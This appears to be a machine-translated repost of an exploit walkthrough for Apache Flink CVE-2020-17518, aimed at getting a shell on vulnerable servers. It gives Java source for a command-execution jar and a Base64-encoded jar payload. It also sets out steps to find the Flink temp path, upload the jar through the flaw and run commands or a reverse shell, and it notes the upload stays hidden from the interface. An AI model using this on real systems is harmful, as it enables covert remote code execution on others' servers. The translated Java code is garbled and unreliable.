In addition to Weibo, there is also WeChat
Please pay attention
WeChat public account
Shulou
2025-03-26 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Network Security >
Share
Shulou(Shulou.com)05/31 Report--
This article introduces you from CVE-2020-17518 to one-button Getshell example analysis, the content is very detailed, interested friends can refer to, hope to be helpful to you.
Recently, Apache Flink vulnerability CVE-2020-17518 has been exposed on the Internet, and its influence ranges from 1.5.1 to 1.11.2. The release cycle of the vulnerability is more than two years. After reading some loophole recurrence articles on the Internet, the EXP mentioned in the article mainly stays in the server to verify after writing files. In order to play a role in the actual combat, I want to try to construct an EXP that can Getshell.
0x001 Analysis and Utilization process 1.1 Environment Building
Use Vulfocus and Vulhub to build a CVE-2020-17518 vulnerability environment with one click.
1.2 experience of failure
Since you can upload through a directory, first consider uploading jsp to the Web directory, but the jsp script cannot be parsed under the Web directory, and the jsp file will be downloaded directly.
1.3 change ideas and get shell
Consider a breakthrough in the deployment of jar package getshell, which was previously exposed by Flink 1.9.x.
1.3.1 prepare the jar package
The main source code is as follows, which is used to execute system commands.
Import java.io.File;import java.util.Scanner;public class Execute {public Execute () {} public static void main (String [] args) throws Exception {String o = "; String cmd = args [0]; ProcessBuilder p If (System.getProperty ("os.name"). ToLowerCase (). Contains ("win") {p = new ProcessBuilder (new String [] {"cmd.exe", "/ c", cmd});} else {String pty = "/ bin/sh"; if ((new File ("/ bin/bash"). Exists ()) {pty = "/ bin/bash" } p = new ProcessBuilder (new String [] {pty, "- c", cmd});} Process s = p.start (); Scanner c = (new Scanner (s.getInputStream () .useDelimiter ("\ A"); c.close ();}}
The source code is compiled and packaged into a jar package, and the packaged jar package is transcoded into Base64 coding.
UEsDBBQAAAAIAASBJlLHe4y+9gIAAOgEAAANAAAARXhlY3V0ZS5jbGFzc21Uy1bUQBC9zTwSQnhFBEZ8gAoOCIwiKgKivEWGhwbRATaZ0AcCMwkmPQIbN/oTfIFrNoNHjn6Av+MatToqLycn6UpX3Vt1q7uT7z+/fAPQixUNTehQcV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Xi5QIAUEsHCIiKCL8wAAAALgAAAFBLAQI/ABQAAAAIAASBJlLHe4y+9gIAAOgEAAANACQAAAAAAAAAIAAAAAAAAABFeGVjdXRlLmNsYXNzCgAgAAAAAAABABgAsQeXEAPk1gFyshItA+TWAdyLEi0D5NYBUEsBAgoACgAACAAAInVtTwAAAAAAAAAAAAAAAAkAAAAAAAAAAAAAAAAAIQMAAE1FVEEtSU5GL1BLAQIUABQACAgIACJ1bU+Iigi/MAAAAC4AAAAUAAQAAAAAAAAAAAAAAEgDAABNRVRBLUlORi9NQU5JRkVTVC5NRv7KAABQSwUGAAAAAAMAAwDcAAAAvgMAAAAA
1.3.2 get the Flink running directory
The Flink runtime files are all in the / tmp directory, with a path similar to
/ tmp/flink-web-xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx/
Each server runs Flink with a different path, so get that path first.
The path to web.tmpdir can be obtained through the interface / jobmanager/config.
1.3.3 upload jar package
The jar package can be uploaded to the / tmp/flink-web-f4aee131-987b-46d7-91af-754464a230b2/flink-web-upload/ directory by stitching the path and combining the CVE-2020-17518 vulnerability.
1.3.4 execute command, bounce shell
1.4 comparison of Jar package upload methods
Compared with uploading the jar package through "Submit New Job", the jar package uploaded by exploiting the CVE-2020-17518 vulnerability will not be displayed in the foreground, so it has a certain concealment.
0x002 uses Goby one-click Getshell
Goby super internal test version Beta 1.8.236 supports exploitation of this vulnerability.
This is the end of the sample analysis from CVE-2020-17518 to one-click Getshell. I hope the above content can be of some help and learn more knowledge. If you think the article is good, you can share it for more people to see.
Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.
Views: 0
*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.
Continue with the installation of the previous hadoop.First, install zookooper1. Decompress zookoope
"Every 5-10 years, there's a rare product, a really special, very unusual product that's the most un
© 2024 shulou.com SLNews company. All rights reserved.